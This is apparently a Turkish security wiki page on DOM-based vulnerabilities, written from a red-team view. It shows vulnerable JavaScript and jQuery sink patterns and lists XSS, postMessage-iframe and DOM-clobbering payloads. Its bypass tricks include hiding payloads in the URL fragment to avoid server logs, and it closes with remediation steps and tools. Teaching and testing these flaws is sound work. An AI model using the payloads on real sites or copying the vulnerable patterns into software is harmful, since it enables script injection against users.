AltaySec Wiki DOM BASED VULNERABILITIES   ·   AltaySec Araştırmalar

DOM BASED VULNERABILITIES

root@altaysec:~# whoami
> Yazar: Yaren Daşpınar

DOM tabanlı zafiyetler, modern web uygulamalarının istemci tarafındaki (client-side) mantıksal ve teknik tasarım hatalarından kaynaklanan, siber güvenlik dünyasının en sofistike "görünmez" saldırı vektörlerinden biridir. Sunucu tarafındaki (Reflected/Stored) enjeksiyonların aksine, DOM tabanlı saldırılar doğrudan tarayıcı çalışma zamanında (runtime) gerçekleşir. Bu zafiyetler, uygulamanın JavaScript kodunun saldırgan tarafından kontrol edilebilen bir değerden (Source) veri alıp, bu veriyi tehlikeli bir fonksiyona veya nesneye (Sink) güvensiz bir şekilde iletmesiyle oluşur.

Red Team operasyonlarında bu zafiyetlerin stratejik önemi, WAF (Web Application Firewall) sistemlerinin genellikle URL fragment (#) gibi sunucuya iletilmeyen verileri denetleyememesi ve saldırının tamamen kurbanın tarayıcı belleğinde icra edilmesidir.

How It Works (Teknik Analiz)

Zafiyetin kök nedeni "Leke Akışı" (Taint Flow) prensibine dayanır. Tarayıcı, HTML ayrıştırma (parsing) ve JavaScript yürütme bağlamlarını (context) yönetirken farklı kurallar uygular. DOM tabanlı bir zafiyet, saldırganın kontrolündeki verinin bu bağlamlar arasında "dezenfekte edilmeden" akmasıdır.

Vulnerable Code Patterns

Aşağıdaki örnekler, farklı programlama dilleri ve mantıksal akışlar üzerinden zafiyetin düşük seviyeli kök nedenlerini analiz eder:

// ZAFİYETLİ KOD (JavaScript): Klasik Taint Flow
var searchParam = new URLSearchParams(window.location.search).get("query"); 
// Source: location.search
document.getElementById('results').innerHTML = "Sonuçlar: " + searchParam; 
// Sink: .innerHTML (HTML Parser tetiklenir)
// Analiz: query=<img src=x onerror=alert(1)> girildiğinde DOM ağacı manipüle edilir.
// ZAFİYETLİ KOD (JavaScript): jQuery Sink Manipülasyonu
$(function() {
    var returnUrl = (new URLSearchParams(window.location.search)).get('url');
    $('#backLink').attr("href", returnUrl);
});
// Sink: .attr("href", ...)
// Analiz: url=javascript:alert(document.domain) enjekte edildiğinde 
// bir execution context (JS protokolü) oluşturulur.

Detection & Enumeration (Keşif ve Analiz)

DOM tabanlı açıkları tespit etmek, statik kod analizi ve dinamik hata ayıklama (debugging) becerisi gerektirir.

Manuel Test Metodolojileri

  1. Source Tespiti: Uygulamanın location.hash, location.search veya document.referrer gibi kaynaklardan veri okuyup okumadığını Chrome DevTools (F12) -> Sources sekmesinden inceleyin.
  2. Sink Takibi: Control+Shift+F ile tüm JS dosyalarında eval(), innerHTML, document.write(), setTimeout() gibi tehlikeli fonksiyonları aratın.
  3. Debugger Kullanımı: Şüpheli kaynaklara breakpoint (kesme noktası) koyarak verinin hangi değişkenlere atandığını ve nihai alıcıya (sink) nasıl ulaştığını adım adım izleyin.

Keşif Payloadları

Source Tipi Test Payload Beklenen Davranış
location.hash #<img src=x onerror=alert(1)> DOM'a enjekte edilip edilmediği kontrol edilir.
window.name window.name="<svg/onload=alert(1)>" Başka bir sayfadan bu isme erişildiğinde tetiklenme.
postMessage postMessage('javascript:alert(1)', '*') Mesaj dinleyicisinin (listener) veriyi işlemesi.

Attack Vectors & Exploitation (İstismar Vektörleri)

DOM-Based XSS

En yaygın vektördür. Verinin document.write() veya innerHTML gibi HTML ayrıştırıcısını tetikleyen sinklere ulaşmasıdır. Modern tarayıcılar innerHTML içinde doğrudan <script> etiketlerini çalıştırmaz; bu nedenle img veya iframe event handlerları (onerror, onload) kullanılır.

DOM Clobbering

Gelişmiş bir tekniktir. HTML öğelerinin (id veya name) kullanılarak JavaScript global değişkenlerinin üzerine yazılmasıdır. Özellikle yapılandırma (config) nesnelerini ezerek uygulamanın kötü niyetli bir script yüklemesi sağlanabilir.

Web Message Manipulation (postMessage)

İki farklı origin arasındaki iletişimde veri doğrulama hatasıdır. window.addEventListener('message', ...) fonksiyonu e.origin kontrolü yapmıyorsa veya kontrol indexOf gibi zayıf metodlarla yapılıyorsa, saldırgan iframe içinden payload gönderir.

DOM-Based Open Redirection

Kullanıcı kontrolündeki verinin window.location veya location.href gibi yönlendirme sinklerine ulaşmasıdır.

JavaScript Injection

Verinin eval(), Function() veya setTimeout() gibi doğrudan kod yürüten fonksiyonlara girmesidir. Bu, en yüksek etkiye sahip DOM açığıdır çünkü kaçış (escaping) teknikleri genellikle burada işe yaramaz.

Payloads & Advanced Commands

In-Band DOM XSS (innerHTML bypass)

<img src=1 onerror=alert(document.domain)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Web Message Exploitation (iframe)

<iframe src="https://vulnerable-site" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')"></iframe>

DOM Clobbering (Script Source Overwrite)

<a id="someObject"></a><a id="someObject" name="someProperty" href="javascript:alert(1)"></a>
<script>
  // Uygulama kodu:
  var url = someObject.someProperty || 'default.js';
  var s = document.createElement('script');
  s.src = url;
  document.body.appendChild(s);
</script>

postMessage Origin Bypass (indexOf)

Eğer kontrol if(e.origin.indexOf('safe.com') > -1) şeklindeyse:

Bypass & Obfuscation (Atlatma Teknikleri)

URL Fragment Obfuscation

Sunucu loglarına düşmemek için payloadu # (hash) arkasına saklama: https://target.com/page#<img src=x onerror=alert(1)>

Double Encoding & String Manipulation

Uygulama basit regex kontrolleri yapıyorsa JavaScript string metodlarıyla bypass: ?id=123&callback=alert(1)// (Sondaki yorum satırı ile JS sözdizimi tamamlanır).

Client-Side Template Literals Bypass

Eğer uygulama ${} içinde veri render ediyorsa, tırnak işaretlerinden kaçmaya gerek kalmadan doğrudan ifade enjeksiyonu yapılabilir.

Remediation & Prevention (Önleme ve Savunma)

  1. Safe Sinks Use: Tehlikeli sinkler yerine güvenli olanları tercih edin. innerHTML yerine textContent, eval() yerine JSON işlemleri için JSON.parse() kullanın.
  2. Context-Aware Output Encoding: Veriyi DOM'a yerleştirmeden önce bağlama uygun şekilde kodlayın. HTML bağlamı için HTML entity encoding, JS bağlamı için Unicode escaping uygulayın.
  3. Content Security Policy (CSP): script-src 'self' gibi katı CSP kuralları ile satır içi (inline) scriptlerin ve yabancı domainlerden script yüklenmesinin önüne geçin.
  4. Origin Verification: postMessage dinleyicilerinde e.origin kontrolünü KESİNLİKLE tam eşleşme (===) ile yapın.
  5. DOMPurify: Kullanıcıdan alınan HTML içeriğini render etmeden önce DOMPurify gibi profesyonel kütüphanelerle temizleyin.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Burp DOM Invader Otomatik source/sink analizi ve canary takibi Enable DOM Invader in Burp Browser
domloggerpp Tüm sinklere ulaşan veriyi konsolda loglar Include extension in Chromium
ESLint (no-unsanitized) Statik JS analizi ile güvensiz sink tespiti eslint --plugin no-unsanitized .
DOMPurify Client-side XSS temizleme kütüphanesi DOMPurify.sanitize(dirtyHTML)
postMessage-tracker Sayfadaki tüm postMessage trafiğini izler Monitor Chrome DevTools Network/Console

Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv